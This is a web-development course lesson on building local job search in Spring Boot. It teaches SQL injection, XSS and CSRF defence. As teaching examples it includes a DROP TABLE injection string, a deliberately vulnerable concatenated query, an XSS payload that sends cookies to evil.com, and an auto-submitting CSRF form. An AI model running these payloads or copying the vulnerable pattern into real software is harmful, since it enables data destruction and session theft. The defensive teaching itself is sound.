Home / Building Resumator / Search & Security

Lesson 7 of 8

Search Features & Security Basics

Estimated time: 2.5–3 hours

What You Will Learn

  • Build a local database search that queries previously fetched jobs without using API calls
  • Write parameterized JPQL queries with @Query and @Param
  • Understand SQL injection — what it is, how it works, and why parameterized queries prevent it
  • Recognize Cross-Site Scripting (XSS) and how Thymeleaf and .textContent prevent it
  • Add input validation and sanitization to protect your application
  • Implement search filters (state, salary) and sort options
  • Know the OWASP Top 10 and essential security resources

1. The Smart Search Problem

Think about how your Resumator application works right now. Every time a user searches for jobs, your application calls the JSearch API. Type "Java Developer" and hit search — that is one API request. Type it again five minutes later — another API request. Search for "Software Engineer in Austin" on Monday, then the same search on Tuesday — two more requests. Every single search, no matter how repetitive, costs you one of your precious 200 monthly API calls.

But here is the thing: your jobs table already has hundreds of stored results. Every time you called the JSearch API in previous lessons, those results were saved to your database. You have been building up a local collection of real job listings this entire time. Right now, that data is just sitting there, unused, while you burn through API requests to fetch the same kind of results you already have.

What if you searched your own database first? What if, before spending an API request, your application checked whether it already had relevant results stored locally?

This is exactly what we are going to build. Two search modes:

  1. Local search — free, instant, unlimited. Searches the jobs already in your database. Costs zero API requests. Returns results in milliseconds because it is a direct database query with no network latency.
  2. API search — costs 1 API request. Calls JSearch for fresh results from across the internet. Use this when you want new listings or when local results are not sufficient.

The user interface should let the user choose between these modes, with local search as the default. Why local as default? Because it is the smart default. Most of the time, users are browsing, filtering, and re-checking jobs they have already seen. They do not need fresh API data for that. And when they do want fresh results, they can explicitly switch to API search.

Think about the math. You have 200 API requests per month. If you search twice a day, that is roughly 60 searches per month just for your daily use. But if your local database already has 500 job listings from previous searches, many of those daily searches could be answered locally. You might only need 20 API calls per month for genuinely new searches, saving 40 requests. Those saved requests add up, and they make the difference between hitting your quota mid-month and having plenty of headroom.

Tip: This pattern — searching local data first, then falling back to an external service — is extremely common in professional applications. It reduces costs, improves performance, and makes your application work even when the external API is down or slow. You will see this pattern called "cache-first" or "local-first" in industry documentation.

Let us build the local search first, then connect it to the UI. But along the way, we are going to encounter something critical — something that every developer must understand before they ever let a user type into a search box. We are going to talk about security.

2. Building the Local Search

To search your local database, you need a way to query the jobs table by keyword. The user might type a job title like "Developer", a company name like "Google", or a city like "Austin". Your query needs to check all of these fields and return any job that matches.

In Spring Data JPA, you can write custom queries using JPQL (Java Persistence Query Language). JPQL looks similar to SQL, but instead of querying tables and columns directly, it queries your Java entities and their fields. You write the query using the @Query annotation on a repository method.

Add this method to your JobRepository:

@Query("SELECT j FROM Job j WHERE " +
       "LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
       "LOWER(j.employerName) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
       "LOWER(j.jobCity) LIKE LOWER(CONCAT('%', :keyword, '%'))")
List<Job> searchByKeyword(@Param("keyword") String keyword);

There is a lot going on in that query, so let us break it down piece by piece:

Now add the controller endpoint that calls this repository method. In your JobController (or create a dedicated SearchController):

@GetMapping("/local")
public List<Job> searchLocal(@RequestParam String keyword) {
    return jobRepository.searchByKeyword(keyword);
}

That is it. Two pieces — a repository method with a custom query and a controller endpoint that calls it. When a user hits /api/jobs/local?keyword=developer, here is the complete flow:

  1. The browser sends a GET request to /api/jobs/local?keyword=developer
  2. Spring's @RequestParam extracts the keyword parameter from the URL — the value is "developer"
  3. The controller calls jobRepository.searchByKeyword("developer")
  4. Spring Data JPA takes the JPQL query, translates it to SQL, and substitutes :keyword with "developer" as a parameter
  5. MySQL executes the query and returns all matching rows
  6. JPA maps each row back to a Job Java object
  7. Spring serializes the list of Job objects to JSON and returns it in the HTTP response

The query runs entirely on your local MySQL database. No API call. No network latency. No quota consumed. If you have 847 jobs saved from previous API searches, this endpoint searches through all 847 of them instantly.

Try it yourself. Start your Spring Boot application, open your browser, and navigate to http://localhost:8080/api/jobs/local?keyword=developer. You should see a JSON array of jobs whose titles, company names, or cities contain the word "developer." Try different keywords — a company name, a city, a technology. Each search is free and instant.

You might also want to add a count endpoint so the frontend can show users how many jobs are in their local database. This is simple:

@GetMapping("/count")
public long getJobCount() {
    return jobRepository.count();  // Built-in Spring Data method
}

The count() method is provided automatically by JpaRepository — you do not need to write it. It returns the total number of rows in the jobs table. This powers the "Searching 847 saved jobs" display in the UI, which makes the local database feel like a valuable asset that grows every time the user does an API search.

JPQL vs SQL: JPQL uses your Java entity names and field names (Job, jobTitle, employerName), while SQL uses your database table and column names (jobs, job_title, employer_name). JPA translates JPQL to the correct SQL for your database automatically. This means if you ever switched from MySQL to PostgreSQL, your JPQL queries would still work without changes.

Before we build the frontend for this, we need to stop and talk about something extremely important. You just built a feature where a user types text into a search box, and that text gets inserted into a database query. That sentence should make every experienced developer's alarm bells go off. Here is why.

3. STOP. What About SQL Injection?

Before we go any further, we need to talk about one of the most dangerous security vulnerabilities in the history of software. This is not theoretical. This is not something that only happens to other people. This vulnerability has been used to breach governments, steal millions of credit card numbers, expose personal data of hundreds of millions of people, and destroy entire databases. It is called SQL injection.

And it happens when developers do exactly what sounds natural: take what a user typed and put it into a database query.

Imagine you wrote your search query like this instead of using parameterized queries:

WARNING: The following code is deliberately dangerous. NEVER write queries this way. This example exists solely to show you what SQL injection looks like.
// NEVER DO THIS — vulnerable to SQL injection!
String sql = "SELECT * FROM jobs WHERE job_title LIKE '%" + userInput + "%'";

This code takes whatever the user typed (userInput) and glues it directly into the SQL string. If the user types developer, the resulting SQL is:

SELECT * FROM jobs WHERE job_title LIKE '%developer%'

That looks fine. It works. It returns Java developer jobs. No problem, right?

Now imagine a malicious user. Instead of typing a job title, they type this into the search box:

'; DROP TABLE jobs; --

Your code dutifully concatenates that string into the SQL query. The resulting SQL becomes:

SELECT * FROM jobs WHERE job_title LIKE '%'; DROP TABLE jobs; --%'

Read that carefully. The attacker's input closed the original string with ', ended the first statement with ;, then added an entirely new SQL command: DROP TABLE jobs;. The -- at the end is a SQL comment, which tells the database to ignore the remaining %' that your code appended.

The database sees two commands:

  1. SELECT * FROM jobs WHERE job_title LIKE '%' — a harmless select
  2. DROP TABLE jobsDELETE THE ENTIRE JOBS TABLE

Gone. Every record. Every job listing you ever saved. Destroyed by a single HTTP request. One line typed into a search box.

This is not theoretical. SQL injection has been used in real attacks against real companies. In 2008, Heartland Payment Systems was breached via SQL injection, exposing 134 million credit card numbers. In 2011, Sony PlayStation Network was hacked, leaking data on 77 million accounts. In 2015, TalkTalk lost the personal data of 157,000 customers through a SQL injection attack executed by a 15-year-old. SQL injection has been ranked the #1 web application vulnerability for years in the OWASP Top 10.

And it does not stop at DROP TABLE. An attacker could use SQL injection to:

There is a famous XKCD comic about this. A school calls a mother and says, "Did you really name your son Robert'); DROP TABLE Students;--?" She responds, "Oh yes. Little Bobby Tables, we call him." The joke is that the school's student registration system was vulnerable to SQL injection, and the student's name destroyed the Students table when it was inserted. It is funny because it is terrifyingly plausible.

Think about it from the database's perspective. When you concatenate user input into a SQL string, the database receives one long text string. It has no way to know which parts were written by you (the developer) and which parts were typed by the user. It treats the entire string as SQL and executes all of it. The database is doing exactly what it was told to do. The problem is that the developer accidentally gave the attacker the ability to write part of the instructions.

SQL Injection

SQL injection is a security vulnerability where an attacker inserts (or "injects") malicious SQL code through user input fields. It happens whenever user-provided text is concatenated directly into a SQL query string. The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL, so it executes everything.

Now here is the good news. There is a simple, reliable way to prevent this entirely. You have already been using it.

4. How Parameterized Queries Protect You

Look at the query you wrote earlier:

@Query("SELECT j FROM Job j WHERE LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%'))")
List<Job> searchByKeyword(@Param("keyword") String keyword);

See the :keyword? That is a parameter placeholder. It is fundamentally different from string concatenation, and understanding why is one of the most important things you will learn as a developer.

When you use a parameterized query, here is what happens behind the scenes:

  1. Step 1: Spring/JPA sends the query structure to the database: SELECT j FROM Job j WHERE LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', ?, '%')). The ? is a placeholder. The database parses this structure and compiles it into an execution plan.
  2. Step 2: Spring/JPA sends the parameter value separately: "developer".
  3. Step 3: The database plugs the value into the placeholder. Crucially, it treats the value as data only. It does not re-parse the SQL. It does not look for SQL commands inside the value. The value is data, period.

This means if a malicious user types '; DROP TABLE jobs; -- into your search box, the database receives:

The database searches for job titles containing the literal text '; DROP TABLE jobs; --. It finds nothing, because no job title contains that string. It returns zero results. Your data is completely safe. The DROP TABLE is never executed because the database never interprets the parameter as SQL — it is just a string being compared against column values.

The Golden Rule of Database Queries

NEVER build SQL or JPQL by concatenating user input into the query string. ALWAYS use parameterized queries. This applies to every programming language, every database, every framework, everywhere, always. There are no exceptions.

Here is some excellent news: you have been writing safe queries this entire time. Every Spring Data JPA method you have used — findById(), findByJobId(), save(), deleteById() — is parameterized automatically. Spring Data generates the SQL behind the scenes, and it always uses parameters. The @Query annotation with :named parameters is also safe. You have been protected from SQL injection since Lesson 24 without even knowing it.

The only way to accidentally introduce SQL injection in a Spring Boot application is to use raw string concatenation with EntityManager.createNativeQuery(). Here is what that dangerous pattern looks like:

// DANGEROUS — raw string concatenation with native query
@PersistenceContext
private EntityManager entityManager;

public List<Job> unsafeSearch(String userInput) {
    String sql = "SELECT * FROM jobs WHERE job_title LIKE '%" + userInput + "%'";
    return entityManager.createNativeQuery(sql, Job.class).getResultList();
}

// SAFE — parameterized native query
public List<Job> safeSearch(String userInput) {
    String sql = "SELECT * FROM jobs WHERE job_title LIKE :keyword";
    return entityManager.createNativeQuery(sql, Job.class)
        .setParameter("keyword", "%" + userInput + "%")
        .getResultList();
}

The first method is vulnerable. The second method is safe. The difference is whether user input is concatenated into the string (dangerous) or passed as a parameter (safe). If you ever see code that builds a query string by adding user input with +, treat it as a critical security bug that needs to be fixed immediately.

Tip: In a code review or a job interview, if someone asks "how do you prevent SQL injection?", the answer is always "parameterized queries" (also called "prepared statements"). If you can explain why — that the query structure and data are sent separately so user input is never interpreted as SQL — you will stand out as someone who actually understands security, not just someone who memorized a rule.

5. Building the Search UI

Now that you understand the security foundation, let us build the user interface. We want two search modes with a clean way to switch between them:

Here is the HTML for the search form with toggle tabs. Add this to your search page (or create a new template):

<div class="search-container">
  <div class="search-tabs">
    <button class="search-tab active" data-mode="local">Search Saved Jobs</button>
    <button class="search-tab" data-mode="api">Search for New Jobs</button>
  </div>

  <p class="search-info" id="searchInfo">Searching <span id="jobCount">0</span> saved jobs</p>

  <!-- Local search form (default) -->
  <div class="search-form" id="localForm">
    <input type="text" id="localKeyword" placeholder="Search by title, company, or city..."
           maxlength="200" />
    <button id="localSearchBtn" class="btn btn-primary">Search</button>
  </div>

  <!-- API search form (hidden by default) -->
  <div class="search-form" id="apiForm" style="display: none;">
    <input type="text" id="apiTitle" placeholder="Job title (e.g., Java Developer)" />
    <input type="text" id="apiCity" placeholder="City (e.g., Austin)" />
    <input type="text" id="apiState" placeholder="State (e.g., TX)" />
    <button id="apiSearchBtn" class="btn btn-primary">Search API</button>
    <p class="api-notice">This uses 1 API request from your monthly quota.</p>
  </div>

  <div id="searchResults"></div>
</div>

Notice the two forms: localForm is visible by default and has a single keyword input, while apiForm is hidden and has the full title/city/state fields you built in earlier lessons. The searchInfo paragraph shows the user how many jobs are in their local database, making the local collection feel valuable — "Searching 847 saved jobs" is much more compelling than a blank search box.

Now the JavaScript that powers the tab switching and search functionality:

// Tab switching
const tabs = document.querySelectorAll('.search-tab');
const localForm = document.getElementById('localForm');
const apiForm = document.getElementById('apiForm');
const searchInfo = document.getElementById('searchInfo');

tabs.forEach(tab => {
  tab.addEventListener('click', () => {
    tabs.forEach(t => t.classList.remove('active'));
    tab.classList.add('active');

    const mode = tab.dataset.mode;
    if (mode === 'local') {
      localForm.style.display = 'flex';
      apiForm.style.display = 'none';
      searchInfo.style.display = 'block';
    } else {
      localForm.style.display = 'none';
      apiForm.style.display = 'flex';
      searchInfo.style.display = 'none';
    }
  });
});

// Load the saved job count on page load
fetch('/api/jobs/count')
  .then(res => res.json())
  .then(count => {
    document.getElementById('jobCount').textContent = count;
  });

// Local search — queries YOUR database, free and instant
document.getElementById('localSearchBtn').addEventListener('click', () => {
  const keyword = document.getElementById('localKeyword').value.trim();
  if (!keyword) return;

  fetch(`/api/jobs/local?keyword=${encodeURIComponent(keyword)}`)
    .then(res => res.json())
    .then(jobs => {
      displayResults(jobs, 'local');
    });
});

// API search — calls JSearch, costs 1 request
document.getElementById('apiSearchBtn').addEventListener('click', () => {
  const title = document.getElementById('apiTitle').value.trim();
  const city = document.getElementById('apiCity').value.trim();
  const state = document.getElementById('apiState').value.trim();
  if (!title) return;

  const params = new URLSearchParams({ title });
  if (city) params.append('city', city);
  if (state) params.append('state', state);

  fetch(`/api/jobs/search?${params.toString()}`)
    .then(res => res.json())
    .then(jobs => {
      displayResults(jobs, 'api');
      // Refresh the local count since new jobs were saved
      fetch('/api/jobs/count')
        .then(res => res.json())
        .then(count => {
          document.getElementById('jobCount').textContent = count;
        });
    });
});

// Display results — notice we use .textContent, NOT .innerHTML
function displayResults(jobs, mode) {
  const container = document.getElementById('searchResults');
  container.innerHTML = ''; // Clear previous results (safe — no user data here)

  if (jobs.length === 0) {
    const msg = document.createElement('p');
    msg.textContent = mode === 'local'
      ? 'No saved jobs match your search. Try searching for new jobs via the API.'
      : 'No results found. Try different search terms.';
    container.appendChild(msg);
    return;
  }

  jobs.forEach(job => {
    const card = document.createElement('div');
    card.className = 'job-card';

    const title = document.createElement('h3');
    title.textContent = job.jobTitle;  // .textContent — safe from XSS

    const company = document.createElement('p');
    company.textContent = job.employerName;  // .textContent — safe from XSS

    const location = document.createElement('p');
    location.textContent = `${job.jobCity || ''}, ${job.jobState || ''}`;

    card.appendChild(title);
    card.appendChild(company);
    card.appendChild(location);
    container.appendChild(card);
  });
}

There are several important things to notice in this JavaScript:

Why two search modes instead of one? You could build an "auto" mode that checks local first and falls back to the API automatically. But making it explicit gives the user control and transparency. They know exactly when they are using an API request and when they are not. Transparency builds trust, and it teaches users to think about resource usage — a habit that translates directly to professional development work.

Test the complete search flow. Start your application, navigate to the search page, and try searching with the "Search Saved Jobs" tab active. Type a keyword and click search. You should see results appear instantly from your local database. Then switch to the "Search for New Jobs" tab, enter a job title and city, and click "Search API." New results should appear, and the saved job count should increase as those new results are stored in your database. Every API search makes your local database more valuable.

Tip: You can enhance the search experience further by adding keyboard support. Listen for the keypress event on the search input and trigger the search when the user presses Enter. This is a small usability improvement that users expect from any search interface:
document.getElementById('localKeyword').addEventListener('keypress', (e) => {
  if (e.key === 'Enter') {
    document.getElementById('localSearchBtn').click();
  }
});

6. Search Filters and Sorting

A keyword search is a great start, but users often want to narrow their results further. "Show me only jobs in Texas." "Show me only jobs that pay at least $80,000." "Show me the newest jobs first." These are filters and sort options, and they are straightforward to add with Spring Data JPA.

Add these methods to your JobRepository:

// Filter by state
List<Job> findByJobStateIgnoreCase(String state);

// Filter by salary — find jobs where either min or max salary meets the threshold
@Query("SELECT j FROM Job j WHERE j.jobMinSalary >= :min OR j.jobMaxSalary >= :min")
List<Job> findBySalaryAtLeast(@Param("min") Double min);

// Sort options
List<Job> findAllByOrderByFirstSeenAtDesc();  // Newest first
List<Job> findAllByOrderByEmployerNameAsc();   // Alphabetical by company

Let us walk through each of these:

Notice the pattern: every single one of these methods is parameterized and safe. Every method that accepts user input (state, min) passes it as a parameter, not as concatenated text. You are building secure queries by default.

You can also combine filters. If you want to search by keyword within a specific state, add a more specific repository method:

@Query("SELECT j FROM Job j WHERE " +
       "(LOWER(j.jobTitle) LIKE LOWER(CONCAT('%', :keyword, '%')) OR " +
       " LOWER(j.employerName) LIKE LOWER(CONCAT('%', :keyword, '%'))) " +
       "AND LOWER(j.jobState) = LOWER(:state)")
List<Job> searchByKeywordAndState(@Param("keyword") String keyword,
                                    @Param("state") String state);

Two parameters, both safe, both parameterized. The query finds jobs matching the keyword that are also in the specified state. As your application grows, you can add as many filter combinations as you need.

Tip: For very complex filter combinations (keyword + state + salary + sort), consider using Spring Data JPA's Specification interface or Querydsl. These let you build queries dynamically by composing filter criteria. But for a project with a few filter options, individual repository methods like these are perfectly clean and maintainable.

7. Input Validation

Parameterized queries protect you from SQL injection, but security does not stop there. You also need to validate and sanitize user input before it reaches your application logic. Think of it as defense in depth — multiple layers of protection, so that if one layer fails, the others still keep you safe.

Input Length Limits

What happens if someone pastes 10,000 characters into your search box? Or 100,000? Without limits, your application would try to search for a 100,000-character keyword, which could slow down your database query, consume excessive memory, or be used as part of a denial-of-service attack.

Add a length limit with the @Size annotation from Jakarta Validation:

@GetMapping("/local")
public List<Job> searchLocal(@RequestParam @Size(max = 200) String keyword) {
    return jobRepository.searchByKeyword(keyword.trim());
}

The @Size(max = 200) annotation tells Spring to reject any request where the keyword is longer than 200 characters. Spring will automatically return a 400 Bad Request error if the limit is exceeded. You also want to make sure you have the spring-boot-starter-validation dependency in your pom.xml:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>

You also need the @Validated annotation on your controller class for the @Size constraint to be enforced:

package com.example.resumator.controller;

@RestController
@RequestMapping("/api/jobs")
@Validated  // Enables method-level validation
public class JobController {
    // ...
}

Notice we also call keyword.trim() to remove leading and trailing whitespace. A user might accidentally type " developer " with spaces. Trimming ensures the search works as expected. You should also consider what happens if the user sends an empty string after trimming — you can add a check and return an empty list immediately instead of running a database query for nothing:

@GetMapping("/local")
public List<Job> searchLocal(@RequestParam @Size(max = 200) String keyword) {
    String trimmed = keyword.trim();
    if (trimmed.isEmpty()) {
        return List.of();  // Return empty list, no database query needed
    }
    return jobRepository.searchByKeyword(trimmed);
}

Cross-Site Scripting (XSS)

SQL injection is about attacking your database. Cross-Site Scripting — XSS — is about attacking your users. It works differently but is just as dangerous.

Imagine someone types this into your search box:

<script>alert('hacked')</script>

If your application takes that text and inserts it into the page using .innerHTML, the browser sees a <script> tag and executes it. In this example, it just shows an alert box. But a real attacker would not show an alert. They would inject JavaScript that:

This is XSS. The attacker "injects" JavaScript through user input, and it executes in the victim's browser.

The good news: you already know how to prevent this, and you have been doing it.

In Thymeleaf: The th:text attribute automatically escapes HTML characters. If you display user input with th:text, the text <script>alert('hacked')</script> is rendered as the literal string &lt;script&gt;alert('hacked')&lt;/script&gt; in the HTML. The browser displays it as text, not as a script tag. It never executes. You are safe.

Danger zone: Thymeleaf's th:utext attribute does NOT escape HTML. The "u" stands for "unescaped." Never use th:utext with user-provided data. Only use it for content you fully control, like pre-written HTML snippets from your own code.

In JavaScript: Use .textContent, not .innerHTML. This is a lesson you learned way back in Lesson 6, and now you understand the full security reason behind it. When you set element.textContent = userInput, the browser treats the value as plain text. It does not parse HTML tags or execute scripts. When you set element.innerHTML = userInput, the browser does parse the HTML, and any <script> tags will execute.

Look back at the displayResults function from Part 5. Every place where we display data from the server — job titles, company names, locations — we use .textContent:

const title = document.createElement('h3');
title.textContent = job.jobTitle;  // SAFE — renders as text, never as HTML

// vs

title.innerHTML = job.jobTitle;    // DANGEROUS — would execute any HTML/scripts

To make this concrete, imagine a malicious user somehow got a job listing into your database with the title <img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie">. If you render that with .innerHTML, the browser creates an <img> tag, fails to load the image (since src=x is invalid), triggers the onerror handler, and redirects the user to the attacker's website — sending the user's session cookie along with it. The attacker can now impersonate that user.

With .textContent, the browser displays that entire string as literal text on the page. No image tag is created. No error handler fires. No cookie is stolen. The user sees an ugly string, but they are safe.

The .textContent vs .innerHTML Rule

Use .textContent when displaying any data that came from a user, a database, or an API. Use .innerHTML only when you are inserting HTML that you wrote yourself and that contains no user-provided data. When in doubt, use .textContent.

Rate Limiting

Even with validation and sanitization, you should consider limiting how often a single user can make requests. If someone writes a script that sends 1,000 search requests per second to your local search endpoint, it could overwhelm your database. This is called a denial-of-service (DoS) attack.

Rate limiting is a broad topic that we will not implement in full here, but be aware that it exists. In production, you would use tools like Spring Security's rate limiter, a reverse proxy like Nginx with rate limiting configuration, or a cloud service like AWS WAF or Cloudflare. The concept is simple: track how many requests each client makes within a time window, and reject requests that exceed the limit.

Defense in depth: Good security is never just one thing. It is layers: parameterized queries protect the database, HTML escaping protects the browser, input validation limits what gets processed, rate limiting prevents abuse, and HTTPS encrypts everything in transit. Each layer handles a different threat. Together, they make your application resilient.

8. The Three Vulnerabilities Every Developer Must Know

You now understand the two most common web application vulnerabilities in practical detail. Let us put them in context alongside one more that you should know about, and then look at the broader security landscape.

Vulnerability What It Does How You Prevent It
SQL Injection Attacker injects malicious SQL through user input to read, modify, or delete database data Parameterized queries (@Query with @Param, Spring Data JPA methods). Never concatenate user input into SQL strings.
XSS (Cross-Site Scripting) Attacker injects malicious JavaScript through user input to steal cookies, redirect users, or modify page content Thymeleaf's th:text (auto-escapes HTML). In JavaScript, use .textContent instead of .innerHTML. Never render raw user input as HTML.
CSRF (Cross-Site Request Forgery) Attacker tricks a logged-in user's browser into making unwanted requests (e.g., transferring money, changing a password) by embedding a hidden form on a malicious website CSRF tokens — Spring Security generates a unique token for each session and requires it on every state-changing request. If the token is missing or wrong, the request is rejected.

You have directly addressed SQL injection and XSS in this lesson. CSRF is the third member of this critical trio, and it is worth understanding how it works even though it does not apply to your current application yet.

Here is a CSRF scenario: imagine your Resumator had a user login system. You log in to your account. Your browser now has a session cookie that proves you are authenticated. While you are still logged in, you visit a different website — maybe a forum or a blog. That website has a hidden form embedded in the page:

<!-- Hidden on a malicious website -->
<form action="https://your-resumator.com/api/account/delete" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>document.forms[0].submit();</script>

The malicious page automatically submits a form to your Resumator. Because your browser still has the session cookie, the request looks legitimate to your server. Your account gets deleted — and you never clicked anything on your Resumator site. That is CSRF: the attacker "forged" a request that appeared to come from you.

CSRF tokens prevent this. Spring Security generates a unique, unpredictable token for each user session and requires it on every state-changing request (POST, PUT, DELETE). The malicious website cannot know the token because it is unique to your session and never exposed to other sites. Without the correct token, the request is rejected. You have not needed to worry about CSRF yet because your application does not have user authentication — there is no logged-in user to trick. But when you add Spring Security in the future, CSRF protection is enabled by default.

Other Security Concepts

Beyond these three core vulnerabilities, there are several other security practices that every developer should be aware of:

Security Is Everyone's Responsibility

Security is not someone else's job. Every line of code you write either makes your application more secure or less secure. Every developer is responsible for writing secure code — using parameterized queries, escaping output, validating input, protecting secrets, and keeping dependencies updated. These are not optional best practices. They are fundamental requirements of professional software development.

9. Security Resources

This lesson gave you the practical foundation — the vulnerabilities you are most likely to encounter and the specific techniques to prevent them. But security is a vast field, and there is always more to learn. Here are the resources that the security community considers essential:

Recommended Security Resources:
  • OWASP Top 10 — The industry standard list of the ten most critical web application security risks, updated regularly. SQL injection, XSS, and CSRF are all on it. Every developer should read this at least once. (owasp.org)
  • OWASP Cheat Sheet Series — Practical, concise guides on specific security topics. There are cheat sheets for SQL injection prevention, XSS prevention, authentication, session management, and dozens more. Excellent reference material.
  • Spring Security Documentation — When you are ready to add authentication and authorization to your Spring Boot applications, this is the definitive guide. Spring Security is comprehensive and well-documented.
  • "The Web Application Hacker's Handbook" by Dafydd Stuttard — Considered the bible of web application security testing. Covers attack techniques and defenses in deep detail. A dense but invaluable read for anyone serious about security.
  • PortSwigger Web Security Academy — Free, hands-on training labs from the creators of Burp Suite (a professional security testing tool). You can practice real attacks in a safe environment. Outstanding for building practical skills. (portswigger.net)
  • HackTheBox and TryHackMe — Gamified platforms where you learn security by hacking intentionally vulnerable machines and applications. TryHackMe is more beginner-friendly; HackTheBox is more advanced. Both are excellent for hands-on learning.

Security is an entire career path. Roles like Information Security (InfoSec) engineer, Application Security (AppSec) engineer, and penetration tester are among the highest-paying positions in the technology industry. Companies pay a premium for people who can find and fix security vulnerabilities before attackers exploit them.

Even if you do not specialize in security, the knowledge you gained in this lesson is not optional. Every developer writes code that handles user input, queries databases, and renders data in browsers. Every developer is responsible for doing those things securely. The difference between a junior developer and a senior developer is not just knowing how to build features — it is knowing how to build features that cannot be exploited.

In job interviews, security questions come up regularly. "How do you prevent SQL injection?" "What is XSS and how do you guard against it?" "How do you handle sensitive data like API keys?" You can now answer all of these confidently, with specific technical detail and real examples. That alone sets you apart from many candidates who learned to build features but never learned to build them safely.

Test Your Knowledge

1. What is SQL injection and how do parameterized queries prevent it?

SQL injection is when an attacker inserts malicious SQL through user input. Parameterized queries send the query structure and values separately, so user input is always treated as data, never as executable SQL. The database compiles the query structure first, then plugs in the parameter values without re-parsing. This means even if a user types '; DROP TABLE jobs; --, the database searches for that literal string instead of executing it as a command.

2. Why is local search preferable to API search when the data already exists?

Local search is free (no API quota used), instant (no network latency), and unlimited, making it the smart default when previously fetched data already contains relevant results. With a limited monthly API quota (200 requests for JSearch's free tier), every API call is valuable. Searching your local database costs nothing, has zero network delay, and can be performed as many times as you want. The API should be reserved for when you genuinely need fresh results from across the internet.

3. What does Thymeleaf's th:text do that prevents XSS attacks?

th:text automatically escapes HTML characters in the output, converting characters like < and > to their safe entity equivalents (&lt; and &gt;) so they display as text rather than being executed as HTML or JavaScript. This means if user input contains <script>alert('hacked')</script>, Thymeleaf renders it as the visible text "<script>alert('hacked')</script>" on the page — the browser never interprets it as an actual script tag.

Lesson Summary

This was a lesson that combined practical feature development with critical security knowledge. You did not just add a search feature — you learned why certain coding practices exist, what happens when they are ignored, and how the tools you have been using all along were protecting you from real attacks.

What You Built

Your Resumator now has dual search modes (local database and API), parameterized queries throughout, input validation, and you understand the critical security vulnerabilities that every web developer must guard against.

Here is what you accomplished in this lesson:

In the next and final lesson, you will step back and look at the entire journey — from your first HTML tag to a complete, secure, full-stack web application. You will review what you built, reflect on what you learned, and explore where to go next.

Finished this lesson?

← Previous: API Tracking with Thymeleaf Next: Review & What's Next →